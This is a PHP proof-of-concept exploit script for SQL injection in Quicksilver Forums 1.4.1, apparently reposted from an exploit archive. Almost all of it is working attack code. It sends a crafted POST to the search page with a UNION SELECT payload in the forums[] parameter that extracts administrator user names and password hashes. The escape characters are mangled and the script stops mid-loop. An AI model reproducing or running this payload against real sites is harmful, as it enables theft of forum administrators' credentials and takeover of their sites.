Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit

摘要：

<?php

. vuln.: Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit

. download: http://www.quicksilverforums.com/

. author: irk4z[at]yahoo.pl

. homepage: http://irk4z.wordpress.com/

. greets: all friends ;)

. this is PoC exploit

$host = $argv[1];

$path = $argv[2];

$prefix = "qsf_"; // this is default prefix

echo

".n. Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploitn.n".

". author: irk4z[at]yahoo.pln".

". homepage: http://irk4z.wordpress.com/n".

".n".

". usage: php ".$argv[0]." host pathn".

". php ".$argv[0]." localhost /nn";

if(empty($host)||empty($path))die('# wrong host or path..');

$post_data = "query=I-like-it&forums[]=2)/**/limit/**/0/**/UNION/**/SELECT/**/1,1,concat(0x5b3a213a5d,user_name,0x3A,user_password,0x5b3a213a5d),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1/*&searchtype=match&member_text=&member_select=exact&showposts_check=on&limit_check=on&limit_chars=400&time_check=on&time_way_select=newer&time_select=31&submit=Search";

$data = "POST ".$path."index.php?a=search HTTP/1.1rn";

$data .= "Host: ".$host."rn";

$data .= "Content-Type: application/x-www-form-urlencodedrn";

$data .= "Content-length: ".strlen($post_data)."rn";

$data .= "Connection: Closern";

$data .= "rn";

$data .= $post_data."rnrn";

$s = @fsockopen($host, 80);

if (empty($s)) die('# wrong host..');

fputs($s, $data); $retu ='';

while(!feof($s)){

$retu .= fgets($s);